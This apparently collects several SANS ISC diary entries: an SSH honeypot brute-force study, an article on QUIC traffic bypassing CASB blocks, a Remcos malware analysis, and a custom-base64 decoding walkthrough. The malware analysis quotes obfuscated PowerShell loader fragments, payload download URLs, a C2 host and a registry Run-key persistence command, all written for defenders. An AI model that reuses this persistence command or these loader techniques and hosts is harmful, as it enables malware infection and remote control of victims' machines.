[This is a Guest Diary by Adam Nason, an ISC intern as part of the SANS.edu BACS program]

Brute force SSH attacks are an ever-present threat on the internet today. We examine probing behavior over the last three months to identify coordinated and opportunistic attacks by threat actors. A DShield Honeypot has quietly collected and logged the behavior of these threat actors to develop a clearer picture of their malicious intentions. During the log collection period, several significant cyber and geopolitical events occurred. We will take a closer look at these behaviors by analyzing their timing and cross-referencing them with external factors that align with their attack patterns. Can an increase or change in SSH brute force botnet activity be observed during these volatile times?

Infrastructure Setup and Data Collection Framework – Home Lab

Infrastructure
• Raspberry Pi 4 Model B
• Network Equipment – Isolated from personal home network
  o UniFi Security Gateway Pro
  o UniFi 24 Port Switch

Data Ingestion
• RaspberryOS running on Raspberry Pi
• DShield Honeypot Software
  o Logs Collected: 17 Feb 2026 through 26 May 2026

Software Tools
• Elasticsearch, Logstash, Kabana (ELK)
• Microsoft VS Code (JSON and Python)
• Microsoft Excel

Data Analysis of Honeypot Logs

Scanning Volume and Timeline Overview

The cowrie honeypot logs recorded over 20 million SSH brute-force attempts over the past 100 days. Investigation into the scanning trends appears to be closely correlated with Chinese botnets, major law enforcement actions, geopolitical events, and critical cybersecurity advisories released in the first half of 2026. As shown in Figure 1: Daily Brute Force Probing Totals, the timeline shows extended periods of high-volume traffic, with abrupt spikes and drops that seem to align with external events.

Table 1: Overview of SSH data collected

Figure 1: Daily Brute Force Probing Totals

Notable events within the brute force scan timeline

February 17 – 24 (Initial Baseline)

The first week of running the honeypot produced what can be considered a quiet baseline of standard background scanning activity. During this period, between 200 and 400 attempts were captured each day.

February 25 – 28 (Sudden Surge)

Following a quiet start, a spike of over 2100% attempts was observed by the honeypot. It was during this period that CISA published Emergency Directive 26-03 (CISA, 2026), related to Cisco’s software-defined wide-area network, which led to opportunistic attacks against unpatched systems. Additional probing was observed during this period, which can also be attributed to the rising conflict between Iran, Israel, and the United States (Al Jazeera, 2026).

March 1 – 8 (Activity Peaks)

Scanning observations peaked this week, with over 300,000 events collected on March 8th (Radauskas, 2026). This is as tensions continue to rise between Iran, Israel, and the United States, and both advanced persistent threats and opportunistic botnets are becoming more active (Reuters, 2026).

March 9 – April 14 (Sustained Attacks)

The honeypot continues to collect and log a high volume of activity during this period, with daily probes remaining above 50,000, often exceeding 100,000 (Le Poidevin, 2026). The periodic spikes and dips tend to lean towards automated attack campaigns.

April 15 (Rapid Decline)

Attack observations plummet to just over 23,000 attempts logged by the honeypot.

April 16 – May 14 (Attack Rebounds)

With news of new vulnerabilities (CISA, 2026), and tensions growing with the Iran-United States ceasefire, logged scans start to rise again. A second spike is observed on May 2nd with 244,344 probes in a single day. This comes just after 24 hours following a major Linux vulnerability that was published by CISA (CISA, 2026)

May 15 – 23 (Extended Decline)

Daily log observations drop nearly 95%, as the ceasefire extends (Madhani et al., 2026), and opportunistic threat actors lose interest as the Iran, Israel, and United States war continues to drag on with minimal active military engagements.

Top 10 Identified Probing IPs (Patterns, Clusters, and Campaign Data)

From February 2026 through May 2026, the top ten observed IP addresses (Table 2) appeared to have strong geographic and Autonomous System Number (ASN) clustering. Both DigitalOcean (ASN – AS14061) and M247 (ASN – AS9009) show activity from multiple countries (Table 3). Furthermore, synchronized scanning bursts can be observed using identical SSH client fingerprints and version strings, occurring within minutes of each other across different countries.

Table 2: Top Ten Probing IPs, with Country and ASN

Table 3: Country Clustering of IPs and ASN

A closer review of the data shows an example of what appears to be synchronized scanning. Over the course of 53 seconds, two attacks are observed from both the United States and Ukraine. Of note, both attacks exhibit the same HASSH fingerprint. HASSH is a fingerprinting standard developed by the Detection Cloud team at Salesforce and is used to detect attacks with higher granularity than a simple IP address can (Reardon, 2022). Seeing the same HASSH, SSH Version, from two different ASNs and countries does point to a high likelihood of a coordinated attack.

Table 4: Clustered attack within 53-seconds

Further review of the collected honeypot logs shows that 702,706 events use the exact same HASSH fingerprint (03a80b21afa810682a776a7d42e5e6fb) and SSH version, indicating the use of a single managed attack toolkit that has been deployed globally (SSHwatch, 2025).

Finally, a detailed review of the logs shows evidence of a botnet quota assignment (Table 5). These are throttled scan rates, which are tell-tale indicators of a botnet-driven SSH campaign. Reviewing the logs over such extended periods shows a low variation and high uniform attack rates, which point to a controller assigning quotas or workloads to the botnet zombies under its control. Automating a scan in this type of organization has been shown to be a characteristic of these types of programmed botnet operations (Sing et al., 2024 p. 1731-1750).

Table 5: Attack Rate Analysis of IPs showing Automated Campaigns

Reduce your Attack Surface

As we have seen above, networks are under constant attack, which seems to follow the ebb and flow of external events on digital cyberspace. However, there are several steps you can take to reduce your attack surface, most of which require little effort. Strategies like IP blocks, geo-blocking, and changing default values can go a long way in preventing a potential compromise.

Prevention
• While not specifically noted in this paper, a majority of SSH brute force login attempts observed targeted the user ‘root’. Disabling ‘root’ user login would effectively make all those attack attempts obsolete.
• Enforce Multi-Factor Authentication (MFA).
• Use private keys for SSH, provided they are properly protected, rotated, and audited.
• Properly hardened jump boxes to reduce exposure and enable session monitoring with Security Information and Event Management (SIEM) systems.
(Hartman, 2026)

Detection
• Centralized SIEM Log Collection
• Deploy rules to alert to brute force patterns in platforms like Snort or Suricata. This can include ‘SYN Flood Attacks’ against port 22 (or your SSH port if you change the default value).
(Hartman, 2026)

Conclusion

Over 20 million SSH brute force attempts were collected by my DShield honeypot over nearly 100 days. This data was compared with several major cybersecurity advisories, changing geopolitical tensions, and law enforcement activities, which uncovered a close alignment. The top probing IPs showed clear signs of SSH botnet attack campaigns when evaluating the log data for attack timing, rates, HASSH fingerprints, and SSH client identification. These findings help to illustrate the adaptability and persistence of threat actors as they respond to capitalize on external events, highlighting the underlying need of all connected devices to be aware not only of cybersecurity-related advisories but also of the activities taking place across the globe. Some of the simplest security measures would have stopped many of these attacks in their tracks, raising the persistent need to continue to remind users to change default settings (usernames and ports) and increase the use of MFA.

Have you observed similar activities in your honeypot or within your organization? Feel free to share your findings and experiences in the comments below or consider joining the SANS Internet Storm Center and contributing data to their global network of sensors and honeypots.

[1] Al Jazeera. (2026, February 28). US, Israel bomb Iran: A timeline of talks and threats leading up to attacks. https://www.aljazeera.com/news/2026/2/28/us-israel-bomb-iran-a-timeline-of-talks-and-threats-leading-up-to-attacks#:~:text=US%2C%20Israel%20bomb%20Iran%3A,since%20the%20June%202025
[2] CISA. (2026, February 25). ED 26-03: Mitigate vulnerabilities in Cisco SD-WAN systems. Cybersecurity and Infrastructure Security Agency CISA. https://www.cisa.gov/news-events/directives/ed-26-03-mitigate-vulnerabilities-cisco-sd-wan-systems
[3] CISA. (2026, May 1). CISA adds one known exploited vulnerability to catalog. Cybersecurity and Infrastructure Security Agency CISA. https://www.cisa.gov/news-events/alerts/2026/05/01/cisa-adds-one-known-exploited-vulnerability-catalog
[4] CISA. (2026, April 20). CISA adds eight known exploited vulnerabilities to catalog. Cybersecurity and Infrastructure Security Agency CISA. https://cisa.gov/news-events/alerts/2026/04/20/cisa-adds-eight-known-exploited-vulnerabilities-catalog
[5] Hartman, K. G. (2026, February 13). Securing SSH keys in cloud environments: Practical guidance for security, forensics, and legal accountability. SANS Institute. https://www.sans.org/blog/securing-ssh-keys-cloud-environments-practical-guidance-security-forensics-legal-accountability
[6] Le Poidevin, O. (2026, March 9). UAE envoy to UN urges de-escalation of US-Israeli war with Iran. reuters.com. https://www.reuters.com/world/middle-east/uae-envoy-un-urges-de-escalation-us-israeli-war-with-iran-2026-03-09/#:~:text=UAE%20envoy%20to%20UN,and%20a%20return%20to
[7] Madhani, A., Gambrell, J., Price, M., & Metz, S. (2026, May 29). US and Iranian negotiators reach tentative deal to extend ceasefire and start new nuclear talks. AP News. https://apnews.com/article/iran-us-war-oil-may-28-2026-8f5ed2813ba63df7ae9ccbe991688d29
[8] Radauskas, G. (2026, March 3). Wild pack without a leader: pro-Iranian hackers already active in wake of US-Israeli strikes. Cybernews. https://cybernews.com/security/iran-war-cyberattacks-hacking/
[9] Reardon, B. (2022, April 14). Open sourcing HASSH. Salesforce Engineering Blog. https://engineering.salesforce.com/open-sourcing-hassh-abed3ae5044c/
[10] Reuters. (2026, February 28). Global reaction to US, Israeli attacks on Iran. reuters.com. https://www.reuters.com/business/aerospace-defense/global-reaction-israeli-us-attacks-iran-2026-02-28/#:~:text=Global%20reaction%20to%20US%2C,into%20a%20renewed%20military
[11] Singh, S. K., Gautam, S., Cartier, C., Patil, S., & Ricci, R. (2024). Where The Wild Things Are: Brute-Force SSH Attacks In The Wild And How To Stop Them. USENIX Association, 1731-1750. https://www.usenix.org/conference/nsdi24/presentation/singh-sachin
[12] SSHwatch. (2025, April 28). SSH honeypots: Detecting and understanding attack patterns. https://www.sshwatch.com/ssh-honeypots-detecting-and-understanding-attack-patterns/#:~:text=Distributed%20credential%20partitioning%2C%20wordlist,logs%20with%20tools%20like
[13] https://www.sans.edu/cyber-security-programs/bachelors-degree/

Note: To ensure full transparency and academic integrity, generative A.I. software (Grammarly) was used for grammar and spelling checks. No further use of generative A.I. was used in the creation of this writing.

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

[This is a guest diary submitted by Varun Murdula]

SUMMARY

CASB block policies rely on inspecting TCP traffic. QUIC, the protocol powering HTTP/3, runs over UDP, a protocol most CASBs cannot inspect. The result: Chrome can reach a destination your CASB is supposed to block, and nothing in the logs shows it happened. This article explains the gap, how to test for it, and what to do about it.
When a security team blocks access to a website or cloud service, the assumption is simple: the block is in place, so users cannot reach that destination. The rule is configured. The tool is running.

"Job done. Time for coffee."

That assumption is often wrong. When it is, there is nothing in the logs to tell you.

I ran a test across five browsers on a managed endpoint with an active CASB policy. What I found is what this article describes. There is a real enforcement gap in how CASBs handle browser traffic. It is documented by the security vendors themselves, including published guidance from Palo Alto Networks, Forcepoint, and Cloudflare. But many security teams have never tested for it and do not know it applies to them. The tools are doing what they were designed to do. The way CASBs were built predates how browsers behave today. A block policy can look completely fine in every log and dashboard while traffic to the blocked destination flows freely through a different browser on the same machine.

First, what is a CASB?

A Cloud Access Security Broker (CASB, pronounced “cazz-bee”) is a security tool that sits between an organization’s users and the internet. Gartner, which coined the term in 2012, defines it as “on-premises, or cloud-based security policy enforcement points, placed between cloud service consumers and cloud service providers to combine and interject enterprise security policies as the cloud-based resources are accessed.”10 In plain terms: it sits in the path of every internet connection and decides what gets through.

Proxy mode is the most common deployment for web traffic inspection. In this mode, every time a browser connects to a website or service, the CASB intercepts the request, checks it against policy rules, and either allows it or blocks it. It acts like a security checkpoint on every outbound internet connection.

CASBs are used to stop employees from sending sensitive data to places their organization does not permit: personal cloud storage, unauthorized file sharing tools, and generative AI chatbots where organizational policies may prohibit data sharing.

To inspect web traffic, a CASB needs to read the content of the connection, including encrypted ones. The vast majority of web traffic today is encrypted using Transport Layer Security (TLS). A protocol is a set of rules for how data travels across a network. TLS encrypts data in transit so only the sender and recipient can read it. It is the technology behind the padlock icon in your browser’s address bar.

To inspect TLS-encrypted traffic, a CASB performs SSL/TLS inspection (SSL stands for Secure Sockets Layer, TLS’s older predecessor). The CASB intercepts the connection and decrypts it. It then inspects the content, applies its policy, re-encrypts the traffic, and forwards it on. From the user’s side, nothing looks different. The padlock is still in the address bar.
For this to work, the CASB needs the browser to trust its re-signed certificates. It does that by installing a root Certificate Authority (CA) certificate into the device’s trusted certificate store, a list of credentials the device recognizes as legitimate. Once that certificate is there, the browser trusts the CASB’s re-signed traffic and continues normally.

This works fine, but not every browser on the device handles that certificate the same way.

How QUIC creates a gap in your CASB coverage

Two things explain this gap.

The first is QUIC, a modern transport protocol developed by Google and standardized by the IETF.1 It was designed to make web connections faster and more reliable. It was not designed to circumvent enterprise security controls. This gap exists because proxy-based inspection tools were built around TCP, not because QUIC has a flaw. The name is not an acronym. Google just called it QUIC.

The second is the difference between TCP and UDP, the two transport mechanisms that determine whether your CASB ever sees the traffic.

TCP (Transmission Control Protocol) is the traditional protocol behind most internet traffic. Ordered, reliable, and what CASB SSL/TLS inspection is built around.

UDP (User Datagram Protocol) is a faster, lower-overhead alternative. It trades some of TCP’s reliability for speed and does not require the same connection handshake.

QUIC runs over UDP, not TCP. CASB inspection only works on TCP, so it never sees QUIC traffic.

"Chrome took the side door. The CASB was watching the front."

QUIC is the transport behind HTTP/3 (the third version of the Hypertext Transfer Protocol, the language of the web). Chrome learns which servers support QUIC through previous connections, Alt-Svc headers, or DNS HTTPS records (RFC 9460), which let servers signal QUIC support before a connection even starts.9 Once Chrome knows a server supports QUIC, it tries it automatically. When that happens, the traffic goes over UDP. The CASB only monitors TCP, so it never sees the connection. No block fires and nothing is logged.

KEY FINDING:  A user on a managed laptop can reach a destination the CASB is supposed to block, simply because Chrome used QUIC over UDP instead of TCP. The tool is running. The policy is active. The block does not fire.

These are not hypothetical concerns. Palo Alto Networks explicitly recommends blocking QUIC in their internet gateway security best practices.2 Forcepoint published a dedicated advisory documenting that QUIC traffic from Chrome, Edge, Brave, Firefox, and Safari may not be intercepted by their proxy.3 Cloudflare’s gateway documentation states directly: if the UDP proxy or TLS decryption is off, HTTP/3 traffic from Chrome bypasses inspection entirely. [4]

The broader problem: Browsers do not all behave the same way

QUIC is the clearest example, but it is not the only way enforcement can fail across browsers.

When a CASB policy is set up and tested, it is usually tested once, from a single browser, and signed off as working. Most teams never verify whether the policy is enforced consistently across every browser on managed devices.

"One browser tested. Zero browsers questioned. Ticket closed."

Keep Aware’s 2026 Browser Security Report makes the point clearly: DLP and CASB tools were built for a different era of computing, one defined by email attachments, file transfers, and endpoint storage.5 They were never designed for what people actually do in a browser today: typing sensitive data into a web form, pasting content into an AI chatbot, uploading files through a browser interface.

Some DLP tools enforce policy through a browser extension rather than a network proxy. That extension only works in browsers where it was deployed.6 Use a different browser on the same machine and the enforcement is gone entirely.

Why this is invisible in standard log review

That missing coverage does not generate an alert. It leaves no trace.

When QUIC bypasses the proxy, the traffic never touches the inspection pipeline. The CASB sees nothing. No failed block, no error, no anomaly. When one browser is enforced and another is not, the CASB log looks clean. Block events from the enforced browser are there. The uninspected traffic from the other browser generates no entries at all.

"The logs are not lying. They reported exactly what they saw. The problem is they only saw the traffic that came through TCP."

CASB block event counts get used to assess how much traffic reached a blocked destination. But block events only count traffic that entered the inspection pipeline, not all traffic that actually arrived. Where QUIC is unblocked, the real number is higher. Sometimes significantly. In an investigation, that gap means you underestimated how much data actually moved — you scoped the incident wrong.

Why this gap matters now

Generative AI has changed where sensitive data goes. Industry research consistently shows that employees are sharing internal documents, reports, and confidential data with AI tools at significant scale.[7] Most of it on managed devices, through Chromium-based browsers, reaching destinations that CASB policies are meant to block.

223  avg GenAI policy violations per org per month (Netskope 2026)
2x  sensitive data incidents sent to AI platforms, year over year (Netskope 2026)
86%  security leaders who believe employees are sharing sensitive data with AI tools without authorization (Code42 2024)

Blocking AI destinations at the CASB layer is the right call. But if QUIC is unblocked and HTTP/3 connections are being established over UDP to those destinations, the block may not be firing for a significant portion of actual traffic. The policy says blocked. The network says otherwise.

For organizations subject to GDPR, HIPAA, PCI DSS, or SOC 2, an undetected enforcement gap like this one is not just a security problem. It is a compliance risk. Regulators do not distinguish between a policy that was misconfigured and one that was never enforced — the outcome is the same.

How to test whether this gap exists in your environment

Run this on a test device configured the same as production. You need three things. First, the CASB agent active with a block policy targeting a specific URL. Second, all five browsers installed on that device: Safari, Chrome, Brave, Firefox, and Edge. Third, access to your CASB’s log console. URL stands for Uniform Resource Locator, which is just a web address.

"Takes about twenty minutes. Less time than the average security vendor webinar."

1. Confirm the CASB agent is running and the block policy is active on the test device.
2. Open Safari and navigate to the blocked destination. Verify the block fires and a log event appears in the CASB console.
3. Open Chrome and navigate to the same destination. Does the block fire, or does the page load?
4. Repeat with Brave, Firefox, and Edge separately. Record each result.
5. In Chrome, type chrome://net-export into the address bar. That is Chrome’s built-in network log. Use it to check whether Chrome negotiated a QUIC connection to the destination.
6. At the firewall or proxy, check whether UDP port 443 is being explicitly dropped. If it is allowed through, QUIC bypass is possible.
7. Compare CASB log entries against what you observed in each browser.

What to look for if the gap exists:
 

Browser	Engine	Expected result
Safari	WebKit	Block fires. Log event generated.
Chrome	Chromium / Blink	Page loads. No block. No log entry.
Brave	Chromium / Blink	Page loads. No block. No log entry.
Firefox	Gecko	Varies by proxy vendor. Test independently.
Edge	Chromium / Blink	Chromium-based. Behavior similar to Chrome.

NOTE ON FIREFOX  Cloudflare’s documentation shows Firefox HTTP/3 inspection can work when the UDP proxy is properly enabled. Behavior varies by CASB vendor. Do not assume Firefox is safe or vulnerable. Test it in your specific environment.

What to do about it

01  Block QUIC at the network layer

Ask your network team to drop UDP/443 traffic at the proxy, Secure Web Gateway (SWG), or firewall. Chromium-based browsers fall back to TCP when QUIC is blocked, and the CASB inspection pipeline takes over. Most platforms handle this gracefully, though some may see a brief delay on the first connection as the browser falls back to TCP. Recommended by Palo Alto Networks, Forcepoint, and Cloudflare. Verify it is actually enforced, not just documented somewhere.

02  Test every browser, not just one

Testing a single browser and calling the control validated is not enough. Safari, Chrome, Brave, Firefox, and Edge each have different protocol behaviors. Every browser in the environment needs to be tested independently, starting at initial deployment and again after any policy changes.

03  Compare CASB logs against what your endpoint actually recorded

Endpoint telemetry shows what programs are running and what connections they are making. A pattern where Safari generates block events for a destination while Chrome generates none on the same device in the same time window is worth investigating. It means the block is not reaching Chrome, not that the user was inactive.

04  Look at controls that live inside the browser, not outside it

Proxy-based enforcement intercepts traffic from the outside. It was designed before QUIC existed and before users spent most of their working day inside a browser. There are tools that work differently: browser-native DLP products, endpoint agents that monitor at the process level, and secure enterprise browsers such as Island or Talon that apply policy from within the browser itself. None of them replaces a CASB, but each one covers gaps that a CASB cannot.

05  Treat CASB event counts as a floor, not a ceiling

In any investigation or data loss review, CASB block event volume is the minimum known traffic, the fraction that entered the inspection pipeline. Actual traffic may be higher. Cross-check against your endpoint logs before you call the scope final.

Conclusion

Nobody wants to find out their block policy was not working by reviewing an incident report. But that is exactly how this gap tends to surface. The logs looked fine. The dashboard was clean. The policy was active. Meanwhile, QUIC connections were going straight to the destination that was supposed to be blocked.
This is not a cutting-edge attack technique. It is a protocol mismatch that has been sitting in enterprise environments for years. Nobody talks about it because the logs never show anything wrong. No alert. No error. Just traffic moving where it should not be, with no corresponding log entry to show for it.
If you take one thing from this: ask your network team to block UDP port 443 at the firewall or proxy, then test every browser in your environment against a blocked destination. Twenty minutes. You might be surprised what you find.
If you are sharing this with leadership: ask your security team to run the test in the section above and report back. The answer will tell you whether your current enforcement is doing what you think it is.

Assume nothing. Test everything.

Glossary of key terms
CASB  Cloud Access Security Broker. A security tool that monitors and controls traffic between users and cloud services. In proxy mode, it acts as a checkpoint on every outbound internet connection.
SSL / TLS  Secure Sockets Layer / Transport Layer Security. Encryption protocols that protect data in transit. The padlock in your browser’s address bar means TLS is active.
CA  Certificate Authority. Issues digital credentials called certificates. In the context of this article, a CASB uses a CA certificate so browsers trust its re-signed traffic during SSL inspection.
TCP  Transmission Control Protocol. The traditional, reliable internet transport protocol. CASB inspection tools are built to intercept TCP traffic.
UDP  User Datagram Protocol. A faster, lower-overhead protocol. QUIC runs over UDP, which is why CASB tools built around TCP cannot inspect it.
QUIC  A modern transport protocol from Google, standardized by the IETF. Runs over UDP and powers HTTP/3. Not an acronym, just a name. Designed for performance, not to bypass security controls.
HTTP/3  The third major version of the Hypertext Transfer Protocol, the language of the web. Uses QUIC as its transport. Supported by most large platforms.
SWG  Secure Web Gateway. A network-level security tool that filters internet traffic, often deployed alongside a CASB.
DLP  Data Loss Prevention. Tools and policies designed to stop sensitive data from leaving an organization without authorization.
SaaS  Software as a Service. Cloud-based software accessed through a browser: email, productivity tools, AI services.
Endpoint  Any device (laptop, desktop, phone) connected to a corporate network or running corporate security software.
Telemetry  Detailed data automatically collected from systems about their activity and connections. Used by security teams to investigate incidents.
URL  Uniform Resource Locator. A web address, what you type into a browser’s address bar.
DNS  Domain Name System. The internet’s directory. Translates web addresses into numeric IP addresses computers use to find servers. Modern DNS records can also signal which protocols a server supports, including QUIC.
Protocol  A set of rules for how data travels across a network. TCP and UDP are both transport protocols, but they work very differently.

References
1.  Internet Engineering Task Force. QUIC: A UDP-Based Multiplexed and Secure Transport. RFC 9000. May 2021.  rfc-editor.org/rfc/rfc9000
2.  Palo Alto Networks. Create the Application Block Rules: Block QUIC. Internet Gateway Best Practices.  docs.paloaltonetworks.com
3.  Forcepoint. QUIC (UDP) Protocol Traffic Can Bypass Forcepoint Cloud and On-Premises Proxies. Support Advisory.  support.forcepoint.com/s/article/000015410
4.  Cloudflare. HTTP/3 Inspection, Cloudflare One Documentation. Accessed June 2026.  developers.cloudflare.com
5.  Keep Aware. 2026 Browser Security Report: Enterprise Blind Spots and AI Risk. March 2026. Coverage via BleepingComputer.  bleepingcomputer.com
6.  Endpoint Protector. Why Browser-Based Workflows Break Traditional DLP. February 2026.  endpointprotector.com
7.  Netskope Threat Labs. Cloud and Threat Report: 2026. January 2026.  netskope.com
8.  Code42 Software. 2024 Data Exposure Report. March 2024.  globenewswire.com
9.  Internet Engineering Task Force. Service Binding and Parameter Specification via the DNS (SVCB and HTTPS Resource Records). RFC 9460. November 2023.  rfc-editor.org/info/rfc9460
10.  Gartner. Definition of Cloud Access Security Brokers (CASBs). Gartner IT Glossary.  gartner.com
 

Yesterday, a reader reported to us a malicious ZIP archive (SHA256: a0104921a2d37ab87482ac9a9f5c3713479c118846c3e999178e75b81620c094[1]). Once unzipped, it contains a VHDX file that discloses a malicious JavaScript after being mounted (which is automatic on modern Windows OSs):

Two different techniques to hide the payload help to bypass most first-line security controls. Using a disk image as a "malware container" has been used multiple times in the past[2] but seemed to be less used these days. That’s why I decided to have a look at the JavaScript (SHA256:f65b1271deedcbcbcdd750047f8eb3a5548145546fc2b7847b263a5e52570b33[3]) with a low VT score (only 5/57). Called “Partnerschaft_fur_neue_Angebotsanfrage.js” (“Partnership for new quotation request”), it probably targets German speaking victims. It contains three stages to deliver the last piece of malware.

In the first stage, the JavaScript (obfuscated and hidden in many comments) will launch a PowerShell script through WMI:

WbemScripting.SWbemLocator → ConnectServer() → Win32_Process.Create()

This technique helps to bypass EDR solutions as well as classic detection rules that monitor parent-child relationships in processes. JavaScript → WMI → PowerShell is less suspicious than a direct relation JavaScript → PowerShell.

The PowerShell script is reconstructed from many strings concatenations and stored in "%LOCALAPPDATA%\Tamale":

 

Fdselsdatoen = Fdselsdatoen + "bubbleFFBVM0lNDgMWDREb' 1;$filmproducbubblentbubblers=otidiform 'DQsSABgGBw0lCBgM';$flygtningbubblelandsbybubbler=otidiform 'bRcOBwcCHw0NC";
Fdselsdatoen = Fdselsdatoen + "BoOChwPCTpKQQgdBQsZEQ4QHAwLDxgsFhZAPQcQBggEXE0JAgUJIBcAAFhNFRwAAgEFCgAVADBN';$succulbubblently=$pritchbubblel;otidiform 'bQMJARYIClMTExEa";
Fdselsdatoen = Fdselsdatoen + "DRcVCTsNBAIYEFdYW1xcPQodFUEZBREGVE0VHAACAQUKABUAME0=' 1;whilbubble (!$prbubblesbytbubblerially118) {otidiform 'bQMJARYIClMwFREfCgoOHi";
...

The string “bubble” pollutes the code and is removed during execution..

This second stage PowerShell reconstructs strings by picking every 4th character from garbage strings. There is a function “otidiform” that decrypts Base64-encoded strings with the XOR key “Identificational” (always the same key across all the scripts). Example:

otidiform 'bQMJARYIClMWDxIAHAYNBSIBWDU1ChIAFQAABh0zW1YKFgAPAAwvBxAVFQcMC0lILwsXAxEHA0A=' 1

Returns:

$global:unfishlike=[Activator]::CreateInstance($formene)

The script downloads the next stage from:

hxxps://cembusconfort[.]ro/Exoticisms121.dsp

and saves it to %APPDATA%\Endocoel.Pro.

This file (SHA256:9de90481e57ed0bc0f13bb24747e18cc133f497abe05cfac67517f98098048a1[4]) looks interesting. When you have a first look at it, it seems to be encrypted. The classic behavior is to XOR and encode in Base64 the payload. Here it’s a bit different, the next stage script has been appended at the end of the file. The payload is extracted by carving the interesting code with:

.substring(143578, 20305)

Once extracted the stage 3 is executed and use the first part of the file as payload (the first 143577 bytes). This stage is a PowerShell reflective .Net loader (classic behaviour) using System.Reflection.Assembly.Load(). The shellcode will fetch the malware itself from:

hxxps://cembusconfort[.]ro/YoHtJ27.bin

The malware will be injected in a process "backgroundTaskHost.exe" and communicates with the C2 server:

animal342[.]duckdns[.]org:53552

The traffic has been identified by my sanbox as Remcos, a pretty common RAT.

Or course, persistence is configured via a Run key that executes the PowerShell loader:

C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Startup key" /t REG_EXPAND_SZ /d "%Statskirken% -windowstyle 2 $Lnforhandlinger=(.'gp' 'HKCU:\Software\Weaverbird\').'Pardonnerer';%Statskirken% ($Lnforhandlinger)"

Most of the files used in this infection path remain undetected by most AVs. Here is the complete infection path:

Email → ZIP → VHDX → JavaScript → PowerShell Decoder → PowerShell (.Net Loader) → Shellcode (Downloader) → Remcos

[1] https://www.virustotal.com/gui/file/a0104921a2d37ab87482ac9a9f5c3713479c118846c3e999178e75b81620c094
[2] https://isc.sans.edu/diary/obama224+distribution+Qakbot+tries+vhd+virtual+hard+disk+images/29294
[3] https://www.virustotal.com/gui/file/f65b1271deedcbcbcdd750047f8eb3a5548145546fc2b7847b263a5e52570b33
[4] https://www.virustotal.com/gui/file/9de90481e57ed0bc0f13bb24747e18cc133f497abe05cfac67517f98098048a1/content???????

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I like it when a fellow handler posts a diary entry about images with malicious content. Last one is Xavier: "The Evil MSI Background is Back!".

I like to have a go at the sample with my tools, and see if there are any improvements I can make to my tools.

Let's take a look at the bytes present in this suspicious JPEG file, using my tool byte-stats.py:

The results: almost half of the content (45.65%) is BASE64 characters, and the longest BASE64 string is 1000 characters.

And the longest string is almost 1 million characters long.

Let's take a look with base64dump.py:

The longest BASE64 string is indeed 1000 characters long but doesn't seem to decode to something recognizable.

A special encoding must have been used, and this is something you typically figure out by looking at the script or program that extracts and decodes the payload from this JPEG file.

But what if you don't have that script, what if you just have the JPEG file?

Then you need a bit of skills and luck to figure out what encoding was used.

You can try out all the encodings supported by base64dump.py:

We see long BASE85 encoded strings, but still no string close to 1 million character. So this must be a custom encoding.

To try to figure out what custom encoding is used, I've added a --stats option to base64dump.py:

We see that all BASE64 characters appear in the detected BASE64 strings, but that the letter A appears significantly less than other letters.

If we use a minimum length for the detected BASE64 strings, the letter A is even missing:

Notice that the = character is also missing, but the = character is a padding character in BASE64, not a normal character: it can only appear once or twice at the end of a BASE64 string.

So this statistics feature of base64dump.py helps us to detect that we might be dealing with a custom encoding, based on BASE64, where the letter A has been replaced with another character. Which character would that be? Let's take another look at out first analysis:

Character # is the most frequent. So probably A has been replaced with #.

Let's try that out:

Still no succes.

Let's run byte-stats.py:

This time we have a very long BASE64 string, almost 1 million characters long. But why isn't base64dump.py detecting it?

byte-stats.py looks for longest strings, for example the longest string of consecutive BASE64 characters. But it doesn't check if that string length is a multiple of 4 (that's a requirement for BASE64). While base64dump.py does check this.

So there must still be some kind of encoding we haven't figured out. Let's take a look at the string:

If you are a bit familiar with BASE64 encoding, you will notice that the string has been reversed: == appears at the beginning, and not at the end. And the end is ...qVT, which is TVq reversed, and that's a marker for MZ, e.g., a Windows executable.

So let's reverse the encoded payload with translate.py:

That's indeed a PE file. And it has the same hash as the file Xavier extracted:

This new feature of base64dump.py, --stats, can help with the reversing of custom encodings by providing statistics of the encoding characters.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

Back in 2023, I wrote a diary[1] discussing how commonly X-Frame-Options and CSP headers containing the frame-ancestors directive were used on 1 million most popular domains on the internet (based on the Tranco list[2]), and how they were set. Given that three years have passed since then, I thought it might be interesting to repeat the analysis and see what – if anything – has changed in the meantime.

Before we get to the data, however, let’s briefly recap what the headers in question do and why they are important.

Both headers basically serve the same fundamental purpose – they inform a browser whether the content of a given web page may be embedded in an iframe or similar object on another web page. Without either of these headers in place, any web page may freely load any other web page in an iframe, which can be quite beneficial in some instances, but also provides a functionality that is commonly abused by phishing actors[3].

The most common abuse scenario is related to a generic framing attack, and leads to what is sometimes called an “overlay phishing”. It is based on an attacker creating a malicious page which loads a legitimate website (usually the official company website of the recipient of the phishing) in a full-screen iframe, then overlays a fake login prompt on top of it. The result is that the victim sees what may appear to be the real login page. Setting either X-Frame-Options or CSP with the frame-ancestors directive on the legitimate site effectively mitigates this approach, because the browser will refuse to load the page inside an iframe in the first place, and all that would be displayed would be a fake login form over a browser message informing the user that a page cannot be loaded (which should make the credential stealing form apper less than trustworthy to most people).

This is a good reason why these headers are worth implementing on any organization's web site, regardless of how prominent or otherwise “interesting” the organization might consider itself to be. 

For completeness’ sake, it should be mentioned that although the two security headers serve a similar purpose, they are not exactly equal. The X-Frame-Options header is the older of the two mechanisms and, while functional, is relatively limited in what it can express. It supports three directives: DENY (the page may not be framed by anyone), SAMEORIGIN (the page may only be framed by pages on the same origin/domain), and ALLOW-FROM (the page may be framed by a specific origin/domain).

Although the header in general is still widely supported and does its job well, its ALLOW-FROM directive was never universally supported by all browsers and is now considered obsolete[4]. More importantly, however, the X-Frame-Options header as a whole has been basically superseded by the Content Security Policy frame-ancestors directive.

The CSP frame-ancestors directive offers considerably more flexibility than X-Frame-Options. It supports the same basic use cases (frame-ancestors 'none' being equivalent to DENY, frame-ancestors 'self' being equivalent to SAMEORIGIN), but also enables some additional ones (such as  supporting wildcard matching for subdomains etc.). Modern browsers therefore generally treat frame-ancestors as the authoritative directive, ignoring X-Frame-Options entirely when both are present[5]. That said, X-Frame-Options remains relevant for legacy browser compatibility and – in practice – both headers can be sent simultaneously without any harm, which is what many HTTP servers actually do.

